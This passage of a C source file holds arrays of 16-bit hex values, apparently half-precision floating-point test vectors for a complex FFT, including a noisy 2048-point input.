0x3c1a, 0xbadc, 0xbf2c, 0xbdae, 0xb8ea, 0x3d08, 0x3a54, 0x3e2a,
0x382f, 0x28ff, 0x3e90, 0xbd7c, 0xba12, 0x405c, 0x3aa8, 0xb33c,
0xc030, 0xbf69, 0xb11d, 0x34d6, 0x3cbb, 0xbf45, 0xbc03, 0x3551,
0x39fc, 0xbc2f, 0xb3f4, 0x3d44, 0x34bf, 0x3016, 0x3c54, 0xbf3d,
0xbd58, 0x2c6f, 0x3a4d, 0xc072, 0xbd1d, 0x3ca3, 0xbc69, 0x39fa,
0x3bc5, 0xbbde, 0x310f, 0xb5ec, 0xbb57, 0x38f0, 0xb79a, 0xb100,
0xace4, 0xbe82, 0x40a4, 0x3ac3, 0x2fb1, 0x32f4, 0x3af0, 0xb9e4,
0x384a, 0x420a, 0x3599, 0x34c4, 0x3ca8, 0x3bb5, 0x3b6b, 0x38d2,
0xc344, 0x0, 0x3b6b, 0xb8d2, 0x3ca8, 0xbbb5, 0x3599, 0xb4c4,
0x384a, 0xc20a, 0x3af0, 0x39e4, 0x2fb1, 0xb2f4, 0x40a4, 0xbac3,
0xace4, 0x3e82, 0xb79a, 0x3100, 0xbb57, 0xb8f0, 0x310f, 0x35ec,
0x3bc5, 0x3bde, 0xbc69, 0xb9fa, 0xbd1d, 0xbca3, 0x3a4d, 0x4072,
0xbd58, 0xac6f, 0x3c54, 0x3f3d, 0x34bf, 0xb016, 0xb3f4, 0xbd44,
0x39fc, 0x3c2f, 0xbc03, 0xb551, 0x3cbb, 0x3f45, 0xb11d, 0xb4d6,
0xc030, 0x3f69, 0x3aa8, 0x333c, 0xba12, 0xc05c, 0x3e90, 0x3d7c,
0x382f, 0xa8ff, 0x3a54, 0xbe2a, 0xb8ea, 0xbd08, 0xbf2c, 0x3dae,
0x3c1a, 0x3adc, 0xba29, 0xb623, 0xb31c, 0xc071, 0x3e84, 0xb7b0,
0x343d, 0x3aca, 0x382f, 0x3779, 0x2e00, 0xbc27, 0x3610, 0xbc90,
0xbd06, 0xb871, 0xbbf0, 0xbd6a, 0x3cf3, 0xb5cb, 0xb029, 0x3ac0,
0x3a75, 0x3297, 0x3612, 0xba90, 0x34d0, 0xb06c, 0xaf2c, 0x3f80,
0xb77c, 0xc10e, 0xbccc, 0x3d35, 0xad1e, 0x40ea, 0x37f2, 0xbbc7,
0x29e9, 0xbd5d, 0xb31c, 0xb902, 0x350a, 0xbee5, 0xb6c8, 0xabab,
0xb711, 0x2c49, 0x3e0f, 0x3f88, 0xc171, 0xacf2, 0x36f5, 0x1c49,
0xbd58, 0xbc85, 0xbcd3, 0xbaf9, 0x2864, 0x2f5d, 0x307e, 0xbabb,
0xc1a3, 0x3bcb, 0x3b50, 0xbb58, 0xae08, 0xbe04, 0xbcfc, 0xbab9,
0x39df, 0x377a, 0xbabd, 0xb13c, 0x3cc6, 0x36f6, 0xb2dd, 0x3f1a,
0xb7db, 0x40c8, 0x3389, 0xc136, 0x3c7d, 0xbaf0, 0xc1f7, 0x36a5,
0xc0fb, 0x3034, 0xbc52, 0x31b2, 0x3d49, 0x3d27, 0x3a2d, 0x3135,
0xb697, 0xbd86, 0xb28e, 0x35a1, 0x3eac, 0x3f0a, 0x36d3, 0xbb9d,
0x3a16, 0xbf1a, 0xba48, 0x3a9d, 0xb37b, 0x3e22, 0x39f6, 0x3241,
0x3bb6, 0xb83a, 0x3d26, 0xbcea, 0xb0c1, 0x330e, 0x381a, 0xbe0c,
0x2f47, 0xb96d, 0x2d4b, 0xb965, 0x3a2d, 0x3cd2, 0xbe68, 0x3fda,
0x3928, 0xb78b, 0x384b, 0xbdc9, 0xc196, 0xb824, 0xb211, 0x3a29,
0x34a9, 0xbe29, 0x3ba2, 0x3ccf, 0xa81d, 0xb045, 0x3b66, 0xc1fd,
0x3c98, 0x38fb, 0xc008, 0xb8b1, 0xab84, 0x31b3, 0xb9f2, 0xa984,
0xbb50, 0x3c40, 0xbc77, 0x3482, 0x3f45, 0x3c39, 0x332b, 0x36f8,
0xbcec, 0xb716, 0xbdaf, 0x40fe, 0x3465, 0x3999, 0x3ebd, 0x3b7e,
0x3ba1, 0xbcc0, 0xbab1, 0x3da6, 0x38f0, 0xbea6, 0xbc84, 0xb0f3,
0xbb03, 0xbe50, 0x3839, 0xba08, 0xb886, 0xbb72, 0x3919, 0xbdec,
0x2f2d, 0xb26d, 0xb9d5, 0x35c2, 0x24d7, 0x3f9f, 0xbb47, 0xc12a,
0x3e15, 0x3dd2, 0x406e, 0x3baa, 0x3df0, 0xbd7d, 0xbe7e, 0x4363,
0xbf69, 0x3b12, 0xc2b2, 0x3dcf, 0xb9cd, 0xbd0f, 0x3797, 0xbe15,
0xbd2b, 0xbb7a, 0x36f9, 0x3d7f, 0xbe07, 0x3dbd, 0xb9ac, 0x3cfb,
0x3dec, 0x3d6e, 0xbd42, 0xb664, 0x3647, 0x3a82, 0xb856, 0x35ff,
0xb8bc, 0xaf18, 0x2520, 0x30fe, 0x2c39, 0x3564, 0x3bbc, 0x3c64,
0x39de, 0xb47c, 0xbd09, 0xb53d, 0xbc2e, 0x38e4, 0xba76, 0x3ebc,
0x3374, 0xbcda, 0x3944, 0xbb0f, 0xbb54, 0x4193, 0xb4db, 0x3e60,
0xbc4c, 0x3874, 0x38a3, 0x3532, 0xb601, 0x3d75, 0xbc77, 0xb778,
0xb972, 0x29af, 0xbeb1, 0xa1ff, 0xa63e, 0x29f0, 0xb383, 0x3bfb,
0x3ae7, 0xbf03, 0x341f, 0x3cea, 0xbed0, 0xb823, 0xbbc4, 0xbce3,
0x3d00, 0xc057, 0xc066, 0xb1c2, 0x3ec7, 0xb99f, 0xb823, 0x400c,
0x3942, 0xbd3e, 0x3bec, 0xbc7a, 0x3a33, 0x38e8, 0xc000, 0xc01c,
0xb467, 0xbc52, 0x3c12, 0xb6e1, 0x2f2a, 0xb01f, 0xc047, 0x31f3,
0x3995, 0xbc79, 0xb970, 0x3aa0, 0x3c5f, 0x3df2, 0xb8bf, 0xc00f,
0x3ce9, 0x381c, 0xbcdd, 0x3f1d, 0xbeea, 0x4048, 0x3de2, 0x3eba,
0x3953, 0x3db9, 0x3994, 0xb9d6, 0xb5ab, 0xbd63, 0xb499, 0xbe0e,
0x3621, 0xbbbf, 0x3aaa, 0xb8d1, 0xc01c, 0xc144, 0xbec1, 0x253b,
0x3ad4, 0x37bf, 0x40a2, 0x308b, 0x402e, 0x3446, 0x3bc2, 0xb86b,
0x2875, 0x4002, 0x3498, 0xbc80, 0xbec8, 0xa874, 0xc030, 0xbdda,
0xa537, 0xb860, 0xbb39, 0x3a88, 0x3432, 0xba96, 0xb824, 0xc10e,
0xbae4, 0x3e08, 0xbd97, 0xb857, 0x387a, 0x383b, 0x394e, 0x3890,
0xbc0c, 0xb9e6, 0xb8d8, 0xb72c, 0xbaa5, 0x38ca, 0x3b62, 0x3a61,
0x3e52, 0xac32, 0xbccc, 0xb304, 0x373d, 0x3024, 0x3c20, 0x3154,
0xbc0a, 0x3ad8, 0xc0d3, 0x3468, 0x3dcd, 0xbcd9, 0x34a9, 0x350a,
0x3620, 0xc02d, 0xb208, 0x2f30, 0xbd7f, 0x35a8, 0xb9f8, 0xbe31,
0xbc32, 0x3c5b, 0xbc63, 0x3b99, 0x40ec, 0xc1b7, 0xb66c, 0xc036,
0xbd34, 0x3690, 0x4027, 0x3d66, 0x346e, 0x2cb6, 0x3c36, 0x40c2,
0xb56c, 0x2c4b, 0x3bc0, 0x3992, 0xc055, 0x3aa3, 0x3b64, 0xb4db,
0x3fa0, 0xba32, 0xb575, 0xbcaa, 0x3d05, 0x34fc, 0x396d, 0x35fd,
0xbdd8, 0x3a88, 0x3a65, 0x3d86, 0x37de, 0x3b36, 0xb60c, 0x31d5,
0x3908, 0xbcc1, 0xbb4d, 0x33b8, 0xb071, 0xc04f, 0xbce7, 0xbcb5,
0xbbe3, 0x3c8a, 0xbcea, 0xbaae, 0x39f0, 0xb6d3, 0xbc2d, 0x3406,
0xbd8f, 0xbd45, 0xb964, 0x33b0, 0xc178, 0xb6bb, 0xbe00, 0xbc96,
0xb620, 0x3889, 0x341a, 0x346d, 0xbc12, 0x394e, 0x3c78, 0x351a,
0x3926, 0xbf35, 0xaed7, 0x3d9c, 0x3aea, 0x3958, 0xbff5, 0xb919,
0x420f, 0xc225, 0x2f36, 0xbc97, 0xbd6a, 0xb1e6, 0xbd13, 0x36c0,
0xabaf, 0xa593, 0x391b, 0xb7ca, 0x3bfd, 0xbdd6, 0xbdb1, 0x4472,
0x393c, 0xb486, 0xbc46, 0xbcc3, 0x3fe7, 0xbbfa, 0x34c8, 0xb993,
0x4172, 0x3969, 0xb9b0, 0xbcca, 0xb141, 0x3809, 0xbeab, 0xbe1f,
0xbc3d, 0xb844, 0x3c30, 0x36e6, 0x344b, 0xbb67, 0xb8c0, 0x3949,
0xb87c, 0xbe4b, 0x3c2e, 0xbfb4, 0x353a, 0x3843, 0xae1f, 0xa200,
0xbe59, 0x3570, 0xb9ab, 0xbcdc, 0x3890, 0xb9c1, 0xb1f1, 0x32b9,
0xb680, 0xbb8a, 0x3a18, 0x353a, 0x3e44, 0x2e48, 0xb950, 0xb8d8,
0xbaf7, 0x3cbd, 0x3001, 0xbca9, 0xb838, 0xb976, 0xb758, 0x2bcb,
0xbc0d, 0xb9f6, 0x4092, 0x3832, 0x38a9, 0x4029, 0xb8d1, 0xb164,
0x3777, 0xbc84, 0x3b0a, 0x3bc7, 0xba6e, 0xc0b4, 0x2506, 0xaf93,
0x1fa8, 0x40f7, 0x3cb7, 0x4118, 0xb995, 0x4189, 0x3cb4, 0x3796,
0x3a0f, 0x3a1a, 0xb9f0, 0xb022, 0xbfdd, 0x3298, 0x3992, 0xbc01,
0x3c57, 0x3468, 0xbcfb, 0xb119, 0x3d74, 0xb8b3, 0x3d97, 0xba1a,
0x3810, 0xc401, 0xadbf, 0x9eb8, 0x3bfb, 0x3844, 0xaf7a, 0x412d,
0x3c3e, 0x35a7, 0xadb4, 0x3d7a, 0x3f62, 0x3fc0, 0x3786, 0x313d,
0x31d6, 0xb39d, 0x3941, 0x3b7f, 0x39ba, 0xc030, 0xb84f, 0xb73b,
0x311f, 0xbf25, 0xb7fe, 0x38a0, 0xbb6b, 0x41d7, 0xc0e0, 0xb8f8,
0x39fd, 0xa882, 0xc05f, 0xb1eb, 0x2f17, 0x3f39, 0xbc43, 0x3b00,
0xb4fe, 0x3d27, 0xbde8, 0x3911, 0x3d6e, 0x3c2d, 0x3b3a, 0x351e,
0x3cea, 0x3af6, 0x3e9f, 0x3edd, 0xbd1a, 0xbe2a, 0xba2f, 0xbe66,
0xc0c0, 0x3f01, 0xbdf3, 0x2e3e, 0x3d18, 0xb0b3, 0xabbf, 0x3c30,
0x3c58, 0xbd61, 0x3c04, 0xb995, 0xbb7e, 0x400d, 0xaa41, 0x3788,
0x3bed, 0x3c7c, 0x399e, 0xb555, 0xb3d2, 0xc047, 0xb54a, 0x3808,
0xb997, 0xb9d3, 0xbd78, 0x38e3, 0xb53b, 0x3629, 0x3bf8, 0x3aec,
0xb436, 0xa915, 0x3e25, 0xb5b9, 0xb84d, 0x3950, 0xbe98, 0x3d38,
0x3a01, 0x35f8, 0x3acd, 0xbfee, 0x387e, 0x2fc7, 0x333b, 0xbd45,
0xb635, 0xb142, 0xb697, 0x38db, 0xba22, 0xc07d, 0x3cbc, 0xa880,
0x31a7, 0xba3b, 0xc047, 0xc142, 0x2e9b, 0xbc24, 0x3339, 0x3ee8,
0x3daa, 0x5d97, 0x3b6c, 0xb0d8, 0xb332, 0x36fa, 0x311c, 0x34c8,
0xb4c4, 0x3bb5, 0x3fd8, 0x3c6c, 0x340b, 0x4005, 0x3ed6, 0x323d,
0x3be2, 0xbdf8, 0xc00b, 0xb150, 0xbd62, 0xb464, 0x4084, 0x39a8,
0x2131, 0xbf9c, 0xbe25, 0x3a2b, 0x36e2, 0xbcc7, 0xb803, 0xacfb,
0xb8ae, 0xaff1, 0x3c86, 0xba95, 0x3bbb, 0xbc0c, 0xb705, 0xb201,
0x3d41, 0xbe03, 0x39c6, 0xbcd0, 0xb123, 0x3c79, 0xb45c, 0x3a8c,
0xb803, 0x36ed, 0x393b, 0xbc18, 0xc0de, 0xb8e7, 0x3b9a, 0xafbe,
0x28eb, 0x2b95, 0x3d5a, 0x3c83, 0x3892, 0x4048, 0x3be6, 0x3750,
0xc2a5, 0x4107, 0x3b1f, 0x3e0d, 0x2e0a, 0xb894, 0xbd34, 0x34ce,
0x404d, 0xbd1b, 0xbe14, 0xb6a9, 0xb80b, 0x3cf1, 0x3509, 0xb51c,
0xb49a, 0xb435, 0xba97, 0x3911, 0x3a96, 0xbe2b, 0x3415, 0xbe04,
0xba57, 0x4200, 0x36c6, 0x37a7, 0x3fca, 0x34ab, 0xc0d2, 0x3e51,
0x40c0, 0x39ce, 0x3a90, 0x379b, 0xb482, 0x31d3, 0x35be, 0x3590,
0xbc4f, 0xb2b1, 0x3501, 0xba46, 0x3c57, 0x3ea1, 0xbdd8, 0x338d,
0x3a11, 0xbc19, 0x3acc, 0x351a, 0xb9f3, 0xbca5, 0xbc62, 0x3ec8,
0xba5b, 0xb994, 0x2312, 0xbcbc, 0x3985, 0x3d6e, 0xbbf7, 0x3f6b,
0x3024, 0xb919, 0xbd9c, 0xbafd, 0xb9f1, 0x2924, 0xb802, 0xc20b,
0x3f0d, 0xbc87, 0x3631, 0x3a1b, 0x3534, 0x3d28, 0x33de, 0x3237,
0xbe82, 0x3b0d, 0x3ac9, 0x3d80, 0x400d, 0xb91d, 0x3fa3, 0xb398,
0x3a14, 0xbb29, 0xa6fe, 0x3bb0, 0xba1c, 0x3eb5, 0xbf59, 0x3b62,
0x39c8, 0xbbe9, 0xbdb3, 0x3b35, 0xb52f, 0xb80a, 0xbab7, 0xb3dc,
0x3f08, 0xc095, 0x3692, 0x3848, 0x3e80, 0x3d23, 0xba93, 0xb8cc,
0xb691, 0x36d2, 0x40ec, 0xbe99, 0xbc2a, 0x3a05, 0xbe44, 0xbd13,
0xb973, 0x3840, 0x3fb6, 0x384a, 0xb98a, 0x3975, 0x2cba, 0x2e79,
0x3e13, 0x41b3, 0xa386, 0x4013, 0xbaf2, 0xbcf6, 0x3e1b, 0xbd65,
0xc213, 0xba19, 0x3a15, 0xbc57, 0xbd0a, 0x3e85, 0x3ba7, 0xb504,
0xb91d, 0x2ea4, 0x43f4, 0x364e, 0x3d91, 0x4286, 0x3173, 0x379d,
0x36f7, 0xb3e4, 0x2c3e, 0xb8f1, 0xb913, 0xc120, 0xba55, 0xb265,
0xad20, 0xbd21, 0x3595, 0xb5aa, 0x3e3f, 0x337d, 0xb7f5, 0x24dc,
0x3c4d, 0x3fb7, 0x3942, 0x37ab, 0xbafa, 0x2e0c, 0xbe5a, 0xb9f7,
0xbc2d, 0x3dbf, 0xb657, 0xb89f, 0x3f8d, 0xb885, 0x2f1a, 0xb950,
0x3a1e, 0x3555, 0xb931, 0xa99f, 0xbc06, 0xbab1, 0x3e9d, 0x374e
};
static const uint16_t in_cfft_noisy_2048[4096] = {
0x24a5, 0x0, 0x37d8, 0x0, 0x39c4, 0x0, 0x370b, 0x0,
0x2685, 0x0, 0xb6a8, 0x0, 0xb990, 0x0, 0xb791, 0x0,
0x2b73, 0x0, 0x3809, 0x0, 0x397b, 0x0, 0x376d, 0x0,
0xa239, 0x0, 0xb847, 0x0, 0xb9da, 0x0, 0xb725, 0x0,
0x8c78, 0x0, 0x37a6, 0x0, 0x3954, 0x0, 0x3822, 0x0,
0xaa3f, 0x0, 0xb669, 0x0, 0xb933, 0x0, 0xb83b, 0x0,
0xa4d1, 0x0, 0x381b, 0x0, 0x395f, 0x0, 0x387d, 0x0,
0x18a3, 0x0, 0xb84b, 0x0, 0xb982, 0x0, 0xb8b2, 0x0,
0x2417, 0x0, 0x3801, 0x0, 0x399d, 0x0, 0x37e3, 0x0,
0x2df7, 0x0, 0xb80a, 0x0, 0xb9df, 0x0, 0xb829, 0x0,
0xa9d5, 0x0, 0x381b, 0x0, 0x3910, 0x0, 0x3838, 0x0,
0xaa9c, 0x0, 0xb79e, 0x0, 0xb9ab, 0x0, 0xb701, 0x0,
0x2449, 0x0, 0x38dd, 0x0, 0x39f9, 0x0, 0x36f4, 0x0,
0x27b2, 0x0, 0xb828, 0x0, 0xb9d9, 0x0, 0xb7e7, 0x0,
0xadca, 0x0, 0x383a, 0x0, 0x3934, 0x0, 0x38ce, 0x0,
0x2dcf, 0x0, 0xb7ea, 0x0, 0xb99b, 0x0, 0xb6aa, 0x0,
0xa149, 0x0, 0x3837, 0x0, 0x3943, 0x0, 0x3870, 0x0,
0xaaf6, 0x0, 0xb6fd, 0x0, 0xb92b, 0x0, 0xb8a5, 0x0,
0x29a9, 0x0, 0x36ab, 0x0, 0x39a0, 0x0, 0x371e, 0x0,
0xb02b, 0x0, 0xb7bd, 0x0, 0xb9bc, 0x0, 0xb76f, 0x0,
0xa774, 0x0, 0x373a, 0x0, 0x399f, 0x0, 0x3660, 0x0,
0x2b2e, 0x0, 0xb795, 0x0, 0xb937, 0x0, 0xb792, 0x0,
0x28b0, 0x0, 0x37af, 0x0, 0x39ef, 0x0, 0x3814, 0x0,
0x2d5f, 0x0, 0xb87c, 0x0, 0xb954, 0x0, 0xb7cf, 0x0,
0x210b, 0x0, 0x3770, 0x0, 0x39fe, 0x0, 0x3617, 0x0,
0xa919, 0x0, 0xb7cd, 0x0, 0xb97f, 0x0, 0xb882, 0x0,
0x2d33, 0x0, 0x3832, 0x0, 0x3924, 0x0, 0x3850, 0x0,
0x288f, 0x0, 0xb75f, 0x0, 0xb9ab, 0x0, 0xb71d, 0x0,
0xa270, 0x0, 0x3864, 0x0, 0x3991, 0x0, 0x38b7, 0x0,
0x23ed, 0x0, 0xb78f, 0x0, 0xba0f, 0x0, 0xb778, 0x0,
0xa4da, 0x0, 0x377f, 0x0, 0x3a61, 0x0, 0x37f1, 0x0,
0x10ae, 0x0, 0xb837, 0x0, 0xb9c8, 0x0, 0xb7f5, 0x0,
0xa14e, 0x0, 0x376e, 0x0, 0x3959, 0x0, 0x3873, 0x0,
0x2585, 0x0, 0xb735, 0x0, 0xba04, 0x0, 0xb785, 0x0,
0xb141, 0x0, 0x37b0, 0x0, 0x3a12, 0x0, 0x381e, 0x0,
0x299f, 0x0, 0xb8c9, 0x0, 0xb9fe, 0x0, 0xb882, 0x0,
0xa8ec, 0x0, 0x3657, 0x0, 0x3926, 0x0, 0x3843, 0x0,
0x2640, 0x0, 0xb85d, 0x0, 0xb962, 0x0, 0xb73d, 0x0,
0x9d09, 0x0, 0x3882, 0x0, 0x3987, 0x0, 0x383b, 0x0,
0xa8a6, 0x0, 0xb70b, 0x0, 0xb9a5, 0x0, 0xb840, 0x0,
0xa71c, 0x0, 0x360c, 0x0, 0x3948, 0x0, 0x36c0, 0x0,
0x2d12, 0x0, 0xb746, 0x0, 0xb8fd, 0x0, 0xb884, 0x0,
0xac82, 0x0, 0x37b8, 0x0, 0x3960, 0x0, 0x375b, 0x0,
0xa69b, 0x0, 0xb892, 0x0, 0xb939, 0x0, 0xb7f7, 0x0,
0xa421, 0x0, 0x36b9, 0x0, 0x3997, 0x0, 0x3737, 0x0,
0x2fb3, 0x0, 0xb816, 0x0, 0xb968, 0x0, 0xb7cb, 0x0,
0xa173, 0x0, 0x3784, 0x0, 0x398b, 0x0, 0x385c, 0x0,
0x9ce3, 0x0, 0xb862, 0x0, 0xb8a8, 0x0, 0xb867, 0x0,
0xaabb, 0x0, 0x387e, 0x0, 0x38f7, 0x0, 0x3813, 0x0,
0xa00d, 0x0, 0xb7f0, 0x0, 0xb8f2, 0x0, 0xb891, 0x0,
0xaac3, 0x0, 0x3854, 0x0, 0x3985, 0x0, 0x3761, 0x0,
0x2f00, 0x0, 0xb81b, 0x0, 0xb98d, 0x0, 0xb822, 0x0,
0xa613, 0x0, 0x3662, 0x0, 0x3968, 0x0, 0x3733, 0x0,
0x2a41, 0x0, 0xb840, 0x0, 0xba21, 0x0, 0xb70e, 0x0,
0xa38c, 0x0, 0x3638, 0x0, 0x39d5, 0x0, 0x389f, 0x0,
0xa0c4, 0x0, 0xb779, 0x0, 0xb9cf, 0x0, 0xb87e, 0x0,
0xadb4, 0x0, 0x37a4, 0x0, 0x3960, 0x0, 0x3818, 0x0,
0x243e, 0x0, 0xb768, 0x0, 0xb91a, 0x0, 0xb6c9, 0x0,
0x29c5, 0x0, 0x36ca, 0x0, 0x38cc, 0x0, 0x38a4, 0x0,
0x2a96, 0x0, 0xb79a, 0x0, 0xb97d, 0x0, 0xb7db, 0x0,
0x2142, 0x0, 0x3739, 0x0, 0x3936, 0x0, 0x383f, 0x0,
0x9907, 0x0, 0xb7aa, 0x0, 0xb9e3, 0x0, 0xb8a1, 0x0,
0xaa8e, 0x0, 0x35d9, 0x0, 0x3949, 0x0, 0x3838, 0x0,
0x9f72, 0x0, 0xb815, 0x0, 0xba04, 0x0, 0xb737, 0x0,
0xa8f8, 0x0, 0x3758, 0x0, 0x3922, 0x0, 0x386f, 0x0,
0xa949, 0x0, 0xb88a, 0x0, 0xb9f1, 0x0, 0xb80f, 0x0,
0xa3f2, 0x0, 0x3748, 0x0, 0x38c2, 0x0, 0x3849, 0x0,
0x2802, 0x0, 0xb796, 0x0, 0xb9fa, 0x0, 0xb868, 0x0,
0x2762, 0x0, 0x379d, 0x0, 0x394a, 0x0, 0x3709, 0x0,
0xac8e, 0x0, 0xb801, 0x0, 0xba66, 0x0, 0xb704, 0x0,
0x234a, 0x0, 0x37d5, 0x0, 0x3a08, 0x0, 0x38da, 0x0,
0xa937, 0x0, 0xb758, 0x0, 0xb9cb, 0x0, 0xb72f, 0x0,
0x2a1c, 0x0, 0x37ce, 0x0, 0x3a15, 0x0, 0x3828, 0x0,
0xa66f, 0x0, 0xb7d1, 0x0, 0xb9e7, 0x0, 0xb92e, 0x0,
0x8e3b, 0x0, 0x387b, 0x0, 0x38be, 0x0, 0x3774, 0x0,
0x2ca8, 0x0, 0xb80e, 0x0, 0xb9a5, 0x0, 0xb7fa, 0x0,
0x2916, 0x0, 0x3896, 0x0, 0x399c, 0x0, 0x386f, 0x0,
0xa6f1, 0x0, 0xb6fa, 0x0, 0xb928, 0x0, 0xb86a, 0x0,
0x24a7, 0x0, 0x382e, 0x0, 0x3a06, 0x0, 0x37a4, 0x0,
0x2c83, 0x0, 0xb758, 0x0, 0xb929, 0x0, 0xb7cd, 0x0,
0x9d83, 0x0, 0x37e7, 0x0, 0x399f, 0x0, 0x3702, 0x0,
0x115b, 0x0, 0xb839, 0x0, 0xb9c7, 0x0, 0xb72b, 0x0,
0xa4a8, 0x0, 0x38f7, 0x0, 0x3926, 0x0, 0x3832, 0x0,
0xa5e7, 0x0, 0xb7a6, 0x0, 0xb9d9, 0x0, 0xb870, 0x0,
0x1fb3, 0x0, 0x37a3, 0x0, 0x3944, 0x0, 0x378e, 0x0,
0xad46, 0x0, 0xb8cd, 0x0, 0xb989, 0x0, 0xb85e, 0x0,
0x2625, 0x0, 0x362a, 0x0, 0x39f7, 0x0, 0x3848, 0x0,
0x9e6e, 0x0, 0xb763, 0x0, 0xb9e9, 0x0, 0xb7c1, 0x0,
0x2958, 0x0, 0x3790, 0x0, 0x3a5c, 0x0, 0x375b, 0x0,
0x2af6, 0x0, 0xb786, 0x0, 0xb90e, 0x0, 0xb846, 0x0,
0xaba0, 0x0, 0x387e, 0x0, 0x39ae, 0x0, 0x37d4, 0x0,
0xa6cd, 0x0, 0xb865, 0x0, 0xb9be, 0x0, 0xb615, 0x0,
0xaf7b, 0x0, 0x3666, 0x0, 0x3aac, 0x0, 0x386e, 0x0,
0x2c0b, 0x0, 0xb814, 0x0, 0xb96e, 0x0, 0xb866, 0x0,
0x2c4c, 0x0, 0x374a, 0x0, 0x39bc, 0x0, 0x3747, 0x0,
0xad4c, 0x0, 0xb766, 0x0, 0xb9d1, 0x0, 0xb811, 0x0,
0xa24d, 0x0, 0x358a, 0x0, 0x39ba, 0x0, 0x36ef, 0x0,
0x2ed1, 0x0, 0xb82b, 0x0, 0xb959, 0x0, 0xb8c5, 0x0,
0x2b0e, 0x0, 0x3814, 0x0, 0x395e, 0x0, 0x3734, 0x0,
0x2243, 0x0, 0xb8aa, 0x0, 0xba12, 0x0, 0xb6d4, 0x0,
0x285d, 0x0, 0x37ca, 0x0, 0x395b, 0x0, 0x3806, 0x0,
0x293c, 0x0, 0xb802, 0x0, 0xb928, 0x0, 0xb81d, 0x0,
0x2f6b, 0x0, 0x3825, 0x0, 0x39b9, 0x0, 0x3821, 0x0,
0x2b6f, 0x0, 0xb783, 0x0, 0xb9d6, 0x0, 0xb870, 0x0,
0x1913, 0x0, 0x3854, 0x0, 0x3992, 0x0, 0x370e, 0x0,
0x2022, 0x0, 0xb868, 0x0, 0xb988, 0x0, 0xb805, 0x0,
0x9e8c, 0x0, 0x378d, 0x0, 0x39ea, 0x0, 0x382f, 0x0,
0xaece, 0x0, 0xb7e6, 0x0, 0xb94f, 0x0, 0xb7f0, 0x0,
0x29f3, 0x0, 0x37c9, 0x0, 0x39da, 0x0, 0x3726, 0x0,
0x2365, 0x0, 0xb87c, 0x0, 0xb904, 0x0, 0xb853, 0x0,
0x251b, 0x0, 0x36c3, 0x0, 0x38e7, 0x0, 0x36e4, 0x0,
0x23a4, 0x0, 0xb86f, 0x0, 0xb9df, 0x0, 0xb88b, 0x0,
0x2a1d, 0x0, 0x385d, 0x0, 0x3967, 0x0, 0x371e, 0x0,
0x1e6b, 0x0, 0xb69a, 0x0, 0xb9b7, 0x0, 0xb835, 0x0,
0x9aed, 0x0, 0x371d, 0x0, 0x3988, 0x0, 0x371b, 0x0,
0xac6c, 0x0, 0xb8ad, 0x0, 0xb996, 0x0, 0xb6da, 0x0,
0xaa24, 0x0, 0x35fd, 0x0, 0x3960, 0x0, 0x36f2, 0x0,
0x2a89, 0x0, 0xb7d0, 0x0, 0xb95b, 0x0, 0xb7d5, 0x0,
0x28eb, 0x0, 0x37c4, 0x0, 0x3983, 0x0, 0x3845, 0x0,
0x2bae, 0x0, 0xb825, 0x0, 0xba6b, 0x0, 0xb6b4, 0x0,
0x2b12, 0x0, 0x36e1, 0x0, 0x3916, 0x0, 0x3829, 0x0,
0xab29, 0x0, 0xb735, 0x0, 0xb9a4, 0x0, 0xb848, 0x0,
0xa04c, 0x0, 0x3784, 0x0, 0x3935, 0x0, 0x3836, 0x0,
0x9df2, 0x0, 0xb7be, 0x0, 0xb981, 0x0, 0xb762, 0x0,
0xa5af, 0x0, 0x38b8, 0x0, 0x395a, 0x0, 0x36f0, 0x0,
0x2e8e, 0x0, 0xb7bb, 0x0, 0xb9d3, 0x0, 0xb7f5, 0x0,
0x2964, 0x0, 0x3869, 0x0, 0x398c, 0x0, 0x387e, 0x0,
0x29ee, 0x0, 0xb70b, 0x0, 0xb98f, 0x0, 0xb723, 0x0,
0xa69d, 0x0, 0x386a, 0x0, 0x386f, 0x0, 0x375f, 0x0,
0xaa08, 0x0, 0xb88a, 0x0, 0xb9cb, 0x0, 0xb876, 0x0,
0xaaa3, 0x0, 0x36ff, 0x0, 0x39df, 0x0, 0x3748, 0x0,
0xaccf, 0x0, 0xb809, 0x0, 0xb957, 0x0, 0xb81d, 0x0,
0xa907, 0x0, 0x3873, 0x0, 0x3932, 0x0, 0x37a6, 0x0,
0x21bb, 0x0, 0xb5fe, 0x0, 0xb988, 0x0, 0xb7da, 0x0,
0xa165, 0x0, 0x36be, 0x0, 0x3a05, 0x0, 0x37e8, 0x0,
0x285f, 0x0, 0xb86b, 0x0, 0xb9c1, 0x0, 0xb87b, 0x0,
0xa554, 0x0, 0x3780, 0x0, 0x3903, 0x0, 0x386c, 0x0,
0xaac6, 0x0, 0xb5c9, 0x0, 0xba10, 0x0, 0xb7d6, 0x0,
0xa577, 0x0, 0x3706, 0x0, 0x3a3e, 0x0, 0x383f, 0x0,
0xa6ac, 0x0, 0xb859, 0x0, 0xb9fb, 0x0, 0xb79f, 0x0,
0x260d, 0x0, 0x3731, 0x0, 0x392e, 0x0, 0x3794, 0x0,
0xac35, 0x0, 0xb8e8, 0x0, 0xb95b, 0x0, 0xb788, 0x0,
0xa5d4, 0x0, 0x379d, 0x0, 0x3906, 0x0, 0x36d2, 0x0,
0x1dab, 0x0, 0xb8fd, 0x0, 0xb91c, 0x0, 0xb817, 0x0,
0x21e1, 0x0, 0x3837, 0x0, 0x399d, 0x0, 0x3747, 0x0,
0xa422, 0x0, 0xb79a, 0x0, 0xb984, 0x0, 0xb833, 0x0,
0x1a10, 0x0, 0x37c9, 0x0, 0x3993, 0x0, 0x36f0, 0x0,
0xab01, 0x0, 0xb876, 0x0, 0xb9c1, 0x0, 0xb867, 0x0,
0xa79a, 0x0, 0x37bb, 0x0, 0x392b, 0x0, 0x3802, 0x0,
0x2ce2, 0x0, 0xb93c, 0x0, 0xba0a, 0x0, 0xb7bd, 0x0,
0xa857, 0x0, 0x38d2, 0x0, 0x3a83, 0x0, 0x37bd, 0x0,
0xa396, 0x0, 0xb728, 0x0, 0xb99f, 0x0, 0xb635, 0x0,
0x2c82, 0x0, 0x381a, 0x0, 0x396b, 0x0, 0x37f8, 0x0,
0x24d6, 0x0, 0xb721, 0x0, 0xb8f5, 0x0, 0xb81d, 0x0,
0x2c6b, 0x0, 0x382d, 0x0, 0x3990, 0x0, 0x386a, 0x0,
0x9eee, 0x0, 0xb89c, 0x0, 0xb9bf, 0x0, 0xb881, 0x0,
0x2ad4, 0x0, 0x382c, 0x0, 0x396b, 0x0, 0x384d, 0x0,
